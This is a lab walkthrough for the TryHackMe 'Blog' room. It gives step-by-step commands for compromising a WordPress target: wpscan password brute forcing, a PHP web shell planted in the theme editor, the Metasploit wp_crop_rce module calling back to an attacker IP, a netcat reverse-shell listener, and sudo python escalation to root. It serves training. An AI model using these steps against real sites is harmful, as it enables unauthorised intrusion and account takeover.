TryHackMe BLOG Room – Full Walkthrough

🧪 TryHackMe – BLOG Room (Full Lab Walkthrough)

---

🎯 Goal

• ✔ Initial Access
• ✔ User Flag
• ✔ Root Flag

---

🔹 STEP 1: Start the Machine & Identify IP

Start the machine and note the assigned IP address.

ping Target IP

export IP=10.10.x.x

---

🔹 STEP 2: Network Enumeration

nmap -sC -sV -oN nmap.txt $IP

Expected Open Ports:

• 22/tcp – SSH
• 80/tcp – HTTP

---

🔹 STEP 3: Website Enumeration

Visit the website in a browser.

http://<IP>

The site appears to be a WordPress blog.

---

🔹 STEP 4: Directory Bruteforce

gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt

Important Directories:

• /wp-admin
• /wp-login.php
• /wp-content

---

🔹 STEP 5: WordPress User Enumeration

wpscan --url http://$IP --enumerate u

• Discovered User: admin

---

🔹 STEP 6: WordPress Password Bruteforce

wpscan --url http://$IP \
--usernames admin \
--passwords /usr/share/wordlists/rockyou.txt
                         

---

🔹 STEP 7: Login to WordPress Admin Panel

http://<IP>/wp-admin

---

🔹 STEP 8 (Option A): Remote Code Execution (Theme Editor)

Navigate to Appearance → Theme Editor → 404.php

<
?php 
     system(\$_GET['cmd']); 
?>
                         

🔹 STEP 8 (Option B): Exploitation Using Metasploit

Instead of manual exploitation, Metasploit can be used to gain an initial shell.

msfconsole

use exploit/multi/http/wp_crop_rce

# Target machine IP (victim)
set RHOSTS <TARGET_IP>

# WordPress credentials
set USERNAME admin
set PASSWORD <password>

# Attacker machine IP (your system / VPN IP)
set LHOST <ATTACKER_IP>

run
                         

🔹 After Exploitation: Get a Stable Shell

sessions

sessions -i 1

shell

bash -i

python -c 'import pty; pty.spawn("/bin/bash")'

or simply:

bash -i

whoami

---

🔹 STEP 9: Obtain Reverse Shell

nc -lvnp 4444

Trigger the payload from the browser.

---

🔹 STEP 10: Stabilize Shell

# Spawn a proper TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Fix terminal display issues
export TERM=xterm
                         

---

🔹 STEP 11: Capture User Flag

cd /home
ls
cd <user>
cat user.txt
                         

---

🔹 STEP 12: Privilege Escalation Enumeration

sudo -l

---

🔹 STEP 13: Root Access

sudo python3 -c 'import os; os.system("/bin/bash")'
whoami
                         

---

🔹 STEP 14: Capture Root Flag

cd /root
cat root.txt
                         

---

🧾 Key Takeaways

• ✔ Enumeration is critical
• ✔ Weak credentials enable compromise
• ✔ Misconfigured sudo leads to root access
• ✔ Defense relies on patching and hardening